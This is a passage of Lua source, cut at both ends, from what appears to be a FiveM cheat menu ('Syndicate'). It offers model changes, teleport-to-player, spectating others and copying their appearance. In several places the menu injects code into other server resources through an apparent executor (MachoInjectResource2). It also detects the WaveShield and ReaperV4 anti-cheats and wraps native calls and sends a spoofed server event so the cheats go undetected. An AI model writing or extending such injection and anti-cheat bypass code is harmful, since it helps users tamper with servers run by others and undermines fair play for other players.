_G.AntiVDMEnabled = false ]]) showNotify("Anti-VDM Disabled", "info") end end }, { label = 'Anti Attach', type = 'checkbox', checked = false, onConfirm = function(enabled) if enabled then _G.AntiAttach = true CreateThread(function() while _G.AntiAttach do Wait(350) local ped = PlayerPedId() if DoesEntityExist(ped) then if IsEntityAttached(ped) or IsEntityAttachedToAnyObject(ped) or IsEntityAttachedToAnyVehicle(ped) or IsEntityAttachedToAnyPed(ped) then DetachEntity(ped, true, false) end end end end) injectCode('monitor', [[ _G.AntiAttach = true CreateThread(function() while _G.AntiAttach do Wait(350) local ped = PlayerPedId() if DoesEntityExist(ped) then if IsEntityAttached(ped) or IsEntityAttachedToAnyObject(ped) or IsEntityAttachedToAnyVehicle(ped) or IsEntityAttachedToAnyPed(ped) then DetachEntity(ped, true, false) end end end end) ]]) showNotify("Anti-Attach Enabled", "success") else _G.AntiAttach = false injectCode('monitor', [[ _G.AntiAttach = false ]]) showNotify("Anti-Attach Disabled", "info") end end } } }, { name = 'Appearance', submenu = { { label = 'Randomize Outfit', type = 'button', onConfirm = function() local code = [[ CreateThread(function() local ped = PlayerPedId() if ped and ped ~= 0 then local comps = {3, 4, 6, 8, 11, 2} for _, compId in ipairs(comps) do local maxDraw = GetNumberOfPedDrawableVariations(ped, compId) if maxDraw and maxDraw > 0 then local drawIdx = math.random(0, maxDraw - 1) local maxTex = GetNumberOfPedTextureVariations(ped, compId, drawIdx) local texIdx = (maxTex and maxTex > 0) and math.random(0, maxTex - 1) or 0 SetPedComponentVariation(ped, compId, drawIdx, texIdx, 2) end end SetPedHairColor(ped, math.random(0, 63), math.random(0, 63)) SetPedHeadBlendData(ped, math.random(0, 45), math.random(0, 45), 0, math.random(0, 45), math.random(0, 45), 0, math.random() * 1.0, math.random() * 1.0, 0.0, false) end end) ]] injectCode('monitor', code) showNotify("Outfit Randomized", "success") end }, { label = 'Open Skin Menu', type = 'button', onConfirm = function() if GetResourceState('illenium-appearance') == 'started' then executeCode('illenium-appearance', [[ TriggerEvent('illenium-appearance:client:openClothingShop', true) ]]) end showNotify("Open Skin Menu", "info") end }, { label = 'Reload Skin', type = 'button', onConfirm = function() if GetResourceState('illenium-appearance') == 'started' then executeCode('illenium-appearance', [[ TriggerEvent('illenium-appearance:client:reloadSkin') ]]) end showNotify("Reload Skin", "info") end }, { label = 'Save Outfit', type = 'button', onConfirm = function() if GetResourceState('illenium-appearance') == 'started' then executeCode('illenium-appearance', [[ TriggerEvent('illenium-appearance:client:saveOutfit') ]]) end showNotify("Save Outfit", "info") end }, { type = 'divider', label = 'MODELS' }, { type = "scroll", label = "Male Peds", options = { { label = "mp_m_freemode_01", value = "mp_m_freemode_01" }, { label = "player_zero (Michael)", value = "player_zero" }, { label = "player_one (Franklin)", value = "player_one" }, { label = "player_two (Trevor)", value = "player_two" }, { label = "a_m_m_afriamer_01", value = "a_m_m_afriamer_01" }, { label = "a_m_m_beach_01", value = "a_m_m_beach_01" }, { label = "a_m_m_beach_02", value = "a_m_m_beach_02" }, { label = "a_m_m_bevhills_01", value = "a_m_m_bevhills_01" }, { label = "a_m_m_bevhills_02", value = "a_m_m_bevhills_02" }, { label = "a_m_m_business_01", value = "a_m_m_business_01" }, { label = "a_m_m_eastsa_01", value = "a_m_m_eastsa_01" }, { label = "a_m_m_eastsa_02", value = "a_m_m_eastsa_02" }, { label = "a_m_m_farmer_01", value = "a_m_m_farmer_01" }, { label = "a_m_m_fatlatin_01", value = "a_m_m_fatlatin_01" }, { label = "a_m_m_genfat_01", value = "a_m_m_genfat_01" }, { label = "a_m_m_genfat_02", value = "a_m_m_genfat_02" }, { label = "a_m_m_golfer_01", value = "a_m_m_golfer_01" }, { label = "a_m_m_hasjew_01", value = "a_m_m_hasjew_01" }, { label = "a_m_m_hillbilly_01", value = "a_m_m_hillbilly_01" }, { label = "a_m_m_hillbilly_02", value = "a_m_m_hillbilly_02" }, { label = "a_m_m_indian_01", value = "a_m_m_indian_01" }, { label = "a_m_m_ktown_01", value = "a_m_m_ktown_01" }, { label = "a_m_m_malibu_01", value = "a_m_m_malibu_01" }, { label = "a_m_m_mexcntry_01", value = "a_m_m_mexcntry_01" }, { label = "a_m_m_mexlabor_01", value = "a_m_m_mexlabor_01" }, { label = "a_m_m_og_boss_01", value = "a_m_m_og_boss_01" }, { label = "a_m_m_paparazzi_01", value = "a_m_m_paparazzi_01" }, { label = "a_m_m_polynesian_01", value = "a_m_m_polynesian_01" }, { label = "a_m_m_prolhost_01", value = "a_m_m_prolhost_01" }, { label = "a_m_m_rurmeth_01", value = "a_m_m_rurmeth_01" }, { label = "a_m_m_salton_01", value = "a_m_m_salton_01" }, { label = "a_m_m_salton_02", value = "a_m_m_salton_02" }, { label = "a_m_m_salton_03", value = "a_m_m_salton_03" }, { label = "a_m_m_salton_04", value = "a_m_m_salton_04" }, { label = "a_m_m_skater_01", value = "a_m_m_skater_01" }, { label = "a_m_m_skidrow_01", value = "a_m_m_skidrow_01" }, { label = "a_m_m_socenlat_01", value = "a_m_m_socenlat_01" }, { label = "a_m_m_soucent_01", value = "a_m_m_soucent_01" }, { label = "a_m_m_soucent_02", value = "a_m_m_soucent_02" }, { label = "a_m_m_soucent_03", value = "a_m_m_soucent_03" }, { label = "a_m_m_soucent_04", value = "a_m_m_soucent_04" }, { label = "a_m_m_stlat_02", value = "a_m_m_stlat_02" }, { label = "a_m_m_tourist_01", value = "a_m_m_tourist_01" }, { label = "a_m_m_tramp_01", value = "a_m_m_tramp_01" }, { label = "a_m_m_trampbeac_01", value = "a_m_m_trampbeac_01" }, { label = "a_m_m_tranvest_01", value = "a_m_m_tranvest_01" }, { label = "a_m_m_tranvest_02", value = "a_m_m_tranvest_02" }, { label = "a_m_o_beach_01", value = "a_m_o_beach_01" }, { label = "a_m_o_genstreet_01", value = "a_m_o_genstreet_01" }, { label = "a_m_o_ktown_01", value = "a_m_o_ktown_01" }, { label = "a_m_o_salton_01", value = "a_m_o_salton_01" }, { label = "a_m_o_soucent_01", value = "a_m_o_soucent_01" }, { label = "a_m_o_soucent_02", value = "a_m_o_soucent_02" }, { label = "a_m_o_soucent_03", value = "a_m_o_soucent_03" }, { label = "a_m_o_tramp_01", value = "a_m_o_tramp_01" }, { label = "a_m_y_beach_01", value = "a_m_y_beach_01" }, { label = "a_m_y_beach_02", value = "a_m_y_beach_02" }, { label = "a_m_y_beach_03", value = "a_m_y_beach_03" }, { label = "a_m_y_bevhills_01", value = "a_m_y_bevhills_01" }, { label = "a_m_y_bevhills_02", value = "a_m_y_bevhills_02" }, { label = "a_m_y_breakdance_01", value = "a_m_y_breakdance_01" }, { label = "a_m_y_busicas_01", value = "a_m_y_busicas_01" }, { label = "a_m_y_business_01", value = "a_m_y_business_01" }, { label = "a_m_y_business_02", value = "a_m_y_business_02" }, { label = "a_m_y_business_03", value = "a_m_y_business_03" }, { label = "a_m_y_cyclist_01", value = "a_m_y_cyclist_01" }, { label = "a_m_y_dhill_01", value = "a_m_y_dhill_01" }, { label = "a_m_y_downtown_01", value = "a_m_y_downtown_01" }, { label = "a_m_y_eastsa_01", value = "a_m_y_eastsa_01" }, { label = "a_m_y_eastsa_02", value = "a_m_y_eastsa_02" }, { label = "a_m_y_epsilon_01", value = "a_m_y_epsilon_01" }, { label = "a_m_y_epsilon_02", value = "a_m_y_epsilon_02" }, { label = "a_m_y_gay_01", value = "a_m_y_gay_01" }, { label = "a_m_y_gay_02", value = "a_m_y_gay_02" }, { label = "a_m_y_genstreet_01", value = "a_m_y_genstreet_01" }, { label = "a_m_y_genstreet_02", value = "a_m_y_genstreet_02" }, { label = "a_m_y_golfer_01", value = "a_m_y_golfer_01" }, { label = "a_m_y_hasjew_01", value = "a_m_y_hasjew_01" }, { label = "a_m_y_hiker_01", value = "a_m_y_hiker_01" }, { label = "a_m_y_hippy_01", value = "a_m_y_hippy_01" }, { label = "a_m_y_hipster_01", value = "a_m_y_hipster_01" }, { label = "a_m_y_hipster_02", value = "a_m_y_hipster_02" }, { label = "a_m_y_hipster_03", value = "a_m_y_hipster_03" }, { label = "a_m_y_hipster_04", value = "a_m_y_hipster_04" }, { label = "a_m_y_indian_01", value = "a_m_y_indian_01" }, { label = "a_m_y_juggalo_01", value = "a_m_y_juggalo_01" }, { label = "a_m_y_ktown_01", value = "a_m_y_ktown_01" }, { label = "a_m_y_ktown_02", value = "a_m_y_ktown_02" }, { label = "a_m_y_latino_01", value = "a_m_y_latino_01" }, { label = "a_m_y_methhead_01", value = "a_m_y_methhead_01" }, { label = "a_m_y_mexthug_01", value = "a_m_y_mexthug_01" }, { label = "a_m_y_motox_01", value = "a_m_y_motox_01" }, { label = "a_m_y_motox_02", value = "a_m_y_motox_02" }, { label = "a_m_y_musclbeac_01", value = "a_m_y_musclbeac_01" }, { label = "a_m_y_musclbeac_02", value = "a_m_y_musclbeac_02" }, { label = "a_m_y_polynesian_01", value = "a_m_y_polynesian_01" }, { label = "a_m_y_roadcyc_01", value = "a_m_y_roadcyc_01" }, { label = "a_m_y_runner_01", value = "a_m_y_runner_01" }, { label = "a_m_y_runner_02", value = "a_m_y_runner_02" }, { label = "a_m_y_salton_01", value = "a_m_y_salton_01" }, { label = "a_m_y_skater_01", value = "a_m_y_skater_01" }, { label = "a_m_y_skater_02", value = "a_m_y_skater_02" }, { label = "a_m_y_smartcaspat_01", value = "a_m_y_smartcaspat_01" }, { label = "a_m_y_soucent_01", value = "a_m_y_soucent_01" }, { label = "a_m_y_soucent_02", value = "a_m_y_soucent_02" }, { label = "a_m_y_soucent_03", value = "a_m_y_soucent_03" }, { label = "a_m_y_soucent_04", value = "a_m_y_soucent_04" }, { label = "a_m_y_stbla_01", value = "a_m_y_stbla_01" }, { label = "a_m_y_stbla_02", value = "a_m_y_stbla_02" }, { label = "a_m_y_stlat_01", value = "a_m_y_stlat_01" }, { label = "a_m_y_stwhi_01", value = "a_m_y_stwhi_01" }, { label = "a_m_y_stwhi_02", value = "a_m_y_stwhi_02" }, { label = "a_m_y_sunbathe_01", value = "a_m_y_sunbathe_01" }, { label = "a_m_y_surfer_01", value = "a_m_y_surfer_01" }, { label = "a_m_y_vindouche_01", value = "a_m_y_vindouche_01" }, { label = "a_m_y_vinewood_01", value = "a_m_y_vinewood_01" }, { label = "a_m_y_vinewood_02", value = "a_m_y_vinewood_02" }, { label = "a_m_y_vinewood_03", value = "a_m_y_vinewood_03" }, { label = "a_m_y_vinewood_04", value = "a_m_y_vinewood_04" }, { label = "a_m_y_yoga_01", value = "a_m_y_yoga_01" }, { label = "s_m_y_cop_01 (Police)", value = "s_m_y_cop_01" }, { label = "s_m_y_sheriff_01 (Sheriff)", value = "s_m_y_sheriff_01" }, { label = "s_m_y_swat_01 (SWAT)", value = "s_m_y_swat_01" }, { label = "s_m_y_hwaycop_01 (Highway)", value = "s_m_y_hwaycop_01" }, { label = "s_m_y_fireman_01 (Fireman)", value = "s_m_y_fireman_01" }, { label = "s_m_m_paramedic_01 (Paramedic)", value = "s_m_m_paramedic_01" }, { label = "s_m_y_army_01 (Army)", value = "s_m_y_army_01" }, { label = "s_m_y_blackops_01 (Black Ops)", value = "s_m_y_blackops_01" }, { label = "ig_bankman", value = "ig_bankman" }, { label = "ig_barry", value = "ig_barry" }, { label = "ig_lestercrest (Lester)", value = "ig_lestercrest" }, { label = "ig_lamardavis (Lamar)", value = "ig_lamardavis" }, { label = "ig_simeonietarian (Simeon)", value = "ig_simeonietarian" } }, selected = 1, onConfirm = function(data) local modelName = type(data) == "table" and (data.value or data.label) or data if not modelName or modelName == "" then return end injectCode('any', string.format([[ local modelName = %q CreateThread(function() local modelHash = GetHashKey(modelName) if IsModelValid(modelHash) then RequestModel(modelHash) local t = GetGameTimer() + 4000 while not HasModelLoaded(modelHash) and GetGameTimer() < t do Wait(10) end if HasModelLoaded(modelHash) then SetPlayerModel(PlayerId(), modelHash) SetModelAsNoLongerNeeded(modelHash) SetEntityVisible(PlayerPedId(), true, 0) if modelHash == 1885233650 or modelHash == -1667301414 then SetPedDefaultComponentVariation(PlayerPedId()) end end end end) ]], modelName)) showNotify("Changed Ped Model: " .. tostring(modelName), "success") end }, { type = "scroll", label = "Female Peds", options = { { label = "mp_f_freemode_01", value = "mp_f_freemode_01" }, { label = "a_f_m_beach_01", value = "a_f_m_beach_01" }, { label = "a_f_m_bevhills_01", value = "a_f_m_bevhills_01" }, { label = "a_f_m_bevhills_02", value = "a_f_m_bevhills_02" }, { label = "a_f_m_bodybuild_01", value = "a_f_m_bodybuild_01" }, { label = "a_f_m_business_02", value = "a_f_m_business_02" }, { label = "a_f_m_downtown_01", value = "a_f_m_downtown_01" }, { label = "a_f_m_eastsa_01", value = "a_f_m_eastsa_01" }, { label = "a_f_m_eastsa_02", value = "a_f_m_eastsa_02" }, { label = "a_f_m_fatbla_01", value = "a_f_m_fatbla_01" }, { label = "a_f_m_fatcult_01", value = "a_f_m_fatcult_01" }, { label = "a_f_m_fatwhite_01", value = "a_f_m_fatwhite_01" }, { label = "a_f_m_ktown_01", value = "a_f_m_ktown_01" }, { label = "a_f_m_ktown_02", value = "a_f_m_ktown_02" }, { label = "a_f_m_prolhost_01", value = "a_f_m_prolhost_01" }, { label = "a_f_m_salton_01", value = "a_f_m_salton_01" }, { label = "a_f_m_skidrow_01", value = "a_f_m_skidrow_01" }, { label = "a_f_m_soucent_01", value = "a_f_m_soucent_01" }, { label = "a_f_m_soucent_02", value = "a_f_m_soucent_02" }, { label = "a_f_m_soucentmc_01", value = "a_f_m_soucentmc_01" }, { label = "a_f_m_tourist_01", value = "a_f_m_tourist_01" }, { label = "a_f_m_tramp_01", value = "a_f_m_tramp_01" }, { label = "a_f_m_trampbeac_01", value = "a_f_m_trampbeac_01" }, { label = "a_f_o_genstreet_01", value = "a_f_o_genstreet_01" }, { label = "a_f_o_indian_01", value = "a_f_o_indian_01" }, { label = "a_f_o_ktown_01", value = "a_f_o_ktown_01" }, { label = "a_f_o_soucent_01", value = "a_f_o_soucent_01" }, { label = "a_f_o_soucent_02", value = "a_f_o_soucent_02" }, { label = "a_f_y_beach_01", value = "a_f_y_beach_01" }, { label = "a_f_y_bevhills_01", value = "a_f_y_bevhills_01" }, { label = "a_f_y_bevhills_02", value = "a_f_y_bevhills_02" }, { label = "a_f_y_bevhills_03", value = "a_f_y_bevhills_03" }, { label = "a_f_y_bevhills_04", value = "a_f_y_bevhills_04" }, { label = "a_f_y_business_01", value = "a_f_y_business_01" }, { label = "a_f_y_business_02", value = "a_f_y_business_02" }, { label = "a_f_y_business_03", value = "a_f_y_business_03" }, { label = "a_f_y_business_04", value = "a_f_y_business_04" }, { label = "a_f_y_eastsa_01", value = "a_f_y_eastsa_01" }, { label = "a_f_y_eastsa_02", value = "a_f_y_eastsa_02" }, { label = "a_f_y_eastsa_03", value = "a_f_y_eastsa_03" }, { label = "a_f_y_epsilon_01", value = "a_f_y_epsilon_01" }, { label = "a_f_y_femaleagent", value = "a_f_y_femaleagent" }, { label = "a_f_y_fitness_01", value = "a_f_y_fitness_01" }, { label = "a_f_y_fitness_02", value = "a_f_y_fitness_02" }, { label = "a_f_y_genhot_01", value = "a_f_y_genhot_01" }, { label = "a_f_y_golfer_01", value = "a_f_y_golfer_01" }, { label = "a_f_y_hiker_01", value = "a_f_y_hiker_01" }, { label = "a_f_y_hippie_01", value = "a_f_y_hippie_01" }, { label = "a_f_y_hipster_01", value = "a_f_y_hipster_01" }, { label = "a_f_y_hipster_02", value = "a_f_y_hipster_02" }, { label = "a_f_y_hipster_03", value = "a_f_y_hipster_03" }, { label = "a_f_y_hipster_04", value = "a_f_y_hipster_04" }, { label = "a_f_y_indian_01", value = "a_f_y_indian_01" }, { label = "a_f_y_juggalo_01", value = "a_f_y_juggalo_01" }, { label = "a_f_y_runner_01", value = "a_f_y_runner_01" }, { label = "a_f_y_rurmeth_01", value = "a_f_y_rurmeth_01" }, { label = "a_f_y_scdressy_01", value = "a_f_y_scdressy_01" }, { label = "a_f_y_skater_01", value = "a_f_y_skater_01" }, { label = "a_f_y_soucent_01", value = "a_f_y_soucent_01" }, { label = "a_f_y_soucent_02", value = "a_f_y_soucent_02" }, { label = "a_f_y_soucent_03", value = "a_f_y_soucent_03" }, { label = "a_f_y_tennis_01", value = "a_f_y_tennis_01" }, { label = "a_f_y_topless_01", value = "a_f_y_topless_01" }, { label = "a_f_y_tourist_01", value = "a_f_y_tourist_01" }, { label = "a_f_y_tourist_02", value = "a_f_y_tourist_02" }, { label = "a_f_y_vinewood_01", value = "a_f_y_vinewood_01" }, { label = "a_f_y_vinewood_02", value = "a_f_y_vinewood_02" }, { label = "a_f_y_vinewood_03", value = "a_f_y_vinewood_03" }, { label = "a_f_y_vinewood_04", value = "a_f_y_vinewood_04" }, { label = "a_f_y_yoga_01", value = "a_f_y_yoga_01" }, { label = "s_f_y_cop_01 (Police)", value = "s_f_y_cop_01" }, { label = "s_f_y_sheriff_01 (Sheriff)", value = "s_f_y_sheriff_01" }, { label = "s_f_y_airhostess_01", value = "s_f_y_airhostess_01" }, { label = "s_f_y_baywatch_01", value = "s_f_y_baywatch_01" }, { label = "ig_tracydeanta", value = "ig_tracydeanta" }, { label = "ig_amandadesanta", value = "ig_amandadesanta" } }, selected = 1, onConfirm = function(data) local modelName = type(data) == "table" and (data.value or data.label) or data if not modelName or modelName == "" then return end injectCode('any', string.format([[ local modelName = %q CreateThread(function() local modelHash = GetHashKey(modelName) if IsModelValid(modelHash) then RequestModel(modelHash) local t = GetGameTimer() + 4000 while not HasModelLoaded(modelHash) and GetGameTimer() < t do Wait(10) end if HasModelLoaded(modelHash) then SetPlayerModel(PlayerId(), modelHash) SetModelAsNoLongerNeeded(modelHash) SetEntityVisible(PlayerPedId(), true, 0) if modelHash == 1885233650 or modelHash == -1667301414 then SetPedDefaultComponentVariation(PlayerPedId()) end end end end) ]], modelName)) showNotify("Changed Ped Model: " .. tostring(modelName), "success") end }, { type = "scroll", label = "Animals", options = { { label = "a_c_boar", value = "a_c_boar" }, { label = "a_c_cat_01", value = "a_c_cat_01" }, { label = "a_c_chickenhawk", value = "a_c_chickenhawk" }, { label = "a_c_chimp", value = "a_c_chimp" }, { label = "a_c_chop", value = "a_c_chop" }, { label = "a_c_cormorant", value = "a_c_cormorant" }, { label = "a_c_cow", value = "a_c_cow" }, { label = "a_c_coyote", value = "a_c_coyote" }, { label = "a_c_crow", value = "a_c_crow" }, { label = "a_c_deer", value = "a_c_deer" }, { label = "a_c_dolphin", value = "a_c_dolphin" }, { label = "a_c_fish", value = "a_c_fish" }, { label = "a_c_hen", value = "a_c_hen" }, { label = "a_c_husky", value = "a_c_husky" }, { label = "a_c_killerwhale", value = "a_c_killerwhale" }, { label = "a_c_mtlion", value = "a_c_mtlion" }, { label = "a_c_pig", value = "a_c_pig" }, { label = "a_c_pigeon", value = "a_c_pigeon" }, { label = "a_c_poodle", value = "a_c_poodle" }, { label = "a_c_pug", value = "a_c_pug" }, { label = "a_c_rabbit_01", value = "a_c_rabbit_01" }, { label = "a_c_rat", value = "a_c_rat" }, { label = "a_c_retriever", value = "a_c_retriever" }, { label = "a_c_rhesus", value = "a_c_rhesus" }, { label = "a_c_rottweiler", value = "a_c_rottweiler" }, { label = "a_c_seagull", value = "a_c_seagull" }, { label = "a_c_sharkhammer", value = "a_c_sharkhammer" }, { label = "a_c_sharktiger", value = "a_c_sharktiger" }, { label = "a_c_shepherd", value = "a_c_shepherd" }, { label = "a_c_stingray", value = "a_c_stingray" }, { label = "a_c_westy", value = "a_c_westy" } }, selected = 1, onConfirm = function(data) local modelName = type(data) == "table" and data.value or data local wsResource = type(GetWSResourceName) == "function" and GetWSResourceName() if wsResource and string.lower(tostring(wsResource)) == "waveshield" then wsResource = nil end if isBypassActive("WaveShield") and wsResource and string.lower(tostring(wsResource)) ~= "waveshield" and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, wsResource, string.format([=[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local modelHash = SafeNative(GetHashKey, %q) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedModel", modelHash) end) SafeNative(RequestModel, modelHash) local t = SafeNative(GetGameTimer) + 5000 while not SafeNative(HasModelLoaded, modelHash) and SafeNative(GetGameTimer) < t do Wait(50) end if SafeNative(HasModelLoaded, modelHash) then SafeNative(SetPlayerModel, SafeNative(PlayerId), modelHash) SafeNative(SetModelAsNoLongerNeeded, modelHash) end ]=], modelName)) else injectCode('monitor', string.format([[ local model = GetHashKey(%q) RequestModel(model) while not HasModelLoaded(model) do Wait(0) end MainAPI.SafeRunNative(SetPlayerModel, PlayerId(), model) SetModelAsNoLongerNeeded(model) ]], modelName)) end showNotify("Changed Animal Model: " .. tostring(modelName), "success") end }, { label = 'Custom Model', type = 'button', onConfirm = function() showInput('Set player model', '', function(model) if model and model ~= '' then local wsResource = type(GetWSResourceName) == "function" and GetWSResourceName() if wsResource and string.lower(tostring(wsResource)) == "waveshield" then wsResource = nil end if isBypassActive("WaveShield") and wsResource and string.lower(tostring(wsResource)) ~= "waveshield" and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, wsResource, string.format([=[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local modelHash = SafeNative(GetHashKey, %q) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedModel", modelHash) end) SafeNative(RequestModel, modelHash) local t = SafeNative(GetGameTimer) + 5000 while not SafeNative(HasModelLoaded, modelHash) and SafeNative(GetGameTimer) < t do Wait(50) end if SafeNative(HasModelLoaded, modelHash) then SafeNative(SetPlayerModel, SafeNative(PlayerId), modelHash) SafeNative(SetModelAsNoLongerNeeded, modelHash) end ]=], model)) else injectCode('monitor', string.format([[ local model = GetHashKey(%q) RequestModel(model) while not HasModelLoaded(model) do Wait(0) end MainAPI.SafeRunNative(SetPlayerModel, PlayerId(), model) SetModelAsNoLongerNeeded(model) if model == -1667301416 or model == 1885233650 then SetPedDefaultComponentVariation(PlayerPedId(), true) end ]], model)) end showNotify("Changed Ped Model: " .. model, "success") end end) end } } } } }, { label = 'Online', icon = 'ph-globe', type = 'submenu', tabs = { { name = 'List', submenu = { { type = 'button', label = 'Check All Players', icon = 'ph-check-square', onConfirm = function() Syndicate:SelectEveryone() end }, { type = 'button', label = 'Un Check All Players', icon = 'ph-square', onConfirm = function() Syndicate:UnselectEveryone() end }, { type = 'button', label = 'Clear Selection', icon = 'ph-trash', onConfirm = function() Syndicate:ClearSelection() end }, { type = 'button', label = 'Ignore Self', icon = 'ph-user-minus', onConfirm = function() Syndicate:IgnoreSelf() end }, { type = 'divider', label = 'Nearby Players' } } }, { name = 'Player Options', submenu = { { type = 'button', label = 'Teleport to Player', onConfirm = function() local targetSid for serverId, checked in pairs(CPlayers or {}) do if checked then targetSid = serverId break end end if not targetSid then showNotify('You must select a player first!', 'error') return end injectCode('monitor', string.format([[ local targetID = %d local safeRun = (_G.MainAPI and _G.MainAPI.SafeRunNative) or _G.WS_RunSafeFunc or function(fn, ...) if type(fn) == "function" then return fn(...) end end local cid = GetPlayerFromServerId(targetID) if not cid or cid == -1 then return end local targetPed = GetPlayerPed(cid) local mePed = PlayerPedId() if DoesEntityExist(targetPed) then local coords = GetEntityCoords(targetPed) local targetEntity = IsPedInAnyVehicle and IsPedInAnyVehicle(mePed, false) and GetVehiclePedIsIn(mePed, false) or mePed safeRun(SetEntityCoordsNoOffset, targetEntity, coords.x, coords.y, coords.z + 1.0, false, false, false) end ]], targetSid)) showNotify("Teleported to Player", "success") end }, { type = 'checkbox', label = 'Spectate Player', onConfirm = function(enabled) local targetSid for serverId, checked in pairs(CPlayers or {}) do if checked then targetSid = serverId break end end if not targetSid then showNotify('You must select a player first!', 'error') return end injectCode('monitor', string.format([[ local targetSid = %d local enabled = %s if not _G.syndicateSpectate then _G.syndicateSpectate = {} end local function stopSpectate() if _G.syndicateSpectateCam and DoesCamExist(_G.syndicateSpectateCam) then RenderScriptCams(false, false, 0, true, true) DestroyCam(_G.syndicateSpectateCam, false) _G.syndicateSpectateCam = nil end pcall(ClearFocus) _G.syndicateSpectate.enabled = false _G.syndicateSpectate.targetSid = nil end local function startSpectate(sid) stopSpectate() local cid = GetPlayerFromServerId(sid) if not cid or cid == -1 then return end local targetPed = GetPlayerPed(cid) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return end _G.syndicateSpectate.enabled = true _G.syndicateSpectate.targetSid = sid if not _G.syndicateSpectateCam or not DoesCamExist(_G.syndicateSpectateCam) then _G.syndicateSpectateCam = CreateCam("DEFAULT_SCRIPTED_CAMERA", true) end pcall(SetFocusEntity, targetPed) AttachCamToEntity(_G.syndicateSpectateCam, targetPed, 0.0, -3.0, 1.2, true) SetCamActive(_G.syndicateSpectateCam, true) RenderScriptCams(true, false, 0, true, true) CreateThread(function() while _G.syndicateSpectate and _G.syndicateSpectate.enabled do Wait(0) local currentCid = GetPlayerFromServerId(_G.syndicateSpectate.targetSid or sid) if not currentCid or currentCid == -1 then break end local ped = GetPlayerPed(currentCid) if not ped or ped == 0 or not DoesEntityExist(ped) then break end pcall(SetFocusEntity, ped) local tCoords = GetEntityCoords(ped) PointCamAtCoord(_G.syndicateSpectateCam, tCoords.x, tCoords.y, tCoords.z + 0.5) end stopSpectate() end) end if enabled then startSpectate(targetSid) else stopSpectate() end ]], targetSid or 0, tostring(enabled))) showNotify(enabled and "Spectate Enabled" or "Spectate Disabled", "info") end }, { type = 'button', label = 'Copy Appearance', onConfirm = function() local targetSid for serverId, checked in pairs(CPlayers or {}) do if checked then targetSid = serverId break end end if not targetSid then showNotify('You must select a player first!', 'error') return end local wsResource = type(GetWSResourceName) == "function" and GetWSResourceName() if wsResource and string.lower(tostring(wsResource)) == "waveshield" then wsResource = nil end local isReaper = isBypassActive("ReaperV4_NEW") or isBypassActive("ReaperV4_OLD") local reaperResource = isReaper and (FindReaperResource and FindReaperResource()) or nil if isBypassActive("WaveShield") and wsResource and string.lower(tostring(wsResource)) ~= "waveshield" and type(MachoInjectResource2) == "function" then local code = string.format([=[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end CreateThread(function() SafeNative(function() local targetSid = %d local clientId = GetPlayerFromServerId(targetSid) local targetPed = (clientId and clientId ~= -1) and GetPlayerPed(clientId) or 0 local myPed = PlayerPedId() if DoesEntityExist(targetPed) and DoesEntityExist(myPed) then local targetModel = GetEntityModel(targetPed) local myModel = GetEntityModel(myPed) if myModel ~= targetModel then RequestModel(targetModel) local timeout = GetGameTimer() + 3000 while not HasModelLoaded(targetModel) and GetGameTimer() < timeout do Wait(10) end if HasModelLoaded(targetModel) then pcall(function() TriggerServerEvent("__WaveShield:SetPlayerModel", targetModel) end) SetPlayerModel(PlayerId(), targetModel) SetModelAsNoLongerNeeded(targetModel) myPed = PlayerPedId() Wait(100) end end for comp = 0, 11 do local drawable = GetPedDrawableVariation(targetPed, comp) local texture = GetPedTextureVariation(targetPed, comp) SetPedComponentVariation(myPed, comp, drawable, texture, 0) end for prop = 0, 7 do local propIndex = GetPedPropIndex(targetPed, prop) local propTexture = GetPedPropTextureIndex(targetPed, prop) if propIndex ~= -1 then SetPedPropIndex(myPed, prop, propIndex, propTexture, true) else ClearPedProp(myPed, prop) end end pcall(function() local hairColor, highlightColor = GetPedHairColor(targetPed) if hairColor then SetPedHairColor(myPed, hairColor, highlightColor or hairColor) end end) pcall(function() for overlay = 0, 12 do local ok, val, cType, fColor, sColor, op = pcall(GetPedHeadOverlayData, targetPed, overlay) if ok and val and val ~= 255 then SetPedHeadOverlay(myPed, overlay, val, op or 1.0) SetPedHeadOverlayColor(myPed, overlay, cType or 1, fColor or 0, sColor or 0) else local v = GetPedHeadOverlay(targetPed, overlay) if v and v ~= 255 then SetPedHeadOverlay(myPed, overlay, v, 1.0) end end end end) end end) end) ]=], targetSid) local _ok3 = false pcall(function() _ok3 = MachoInjectResource2(3, wsResource, code) end) if not _ok3 then pcall(function() MachoInjectResource2(2, wsResource, code) end) end elseif isReaper and reaperResource and type(MachoInjectResource2) == "function" then local code = string.format([[ CreateThread(function() local targetSid = %d local clientId = GetPlayerFromServerId(targetSid) local targetPed = (clientId and clientId ~= -1) and GetPlayerPed(clientId) or 0 local myPed = PlayerPedId() if 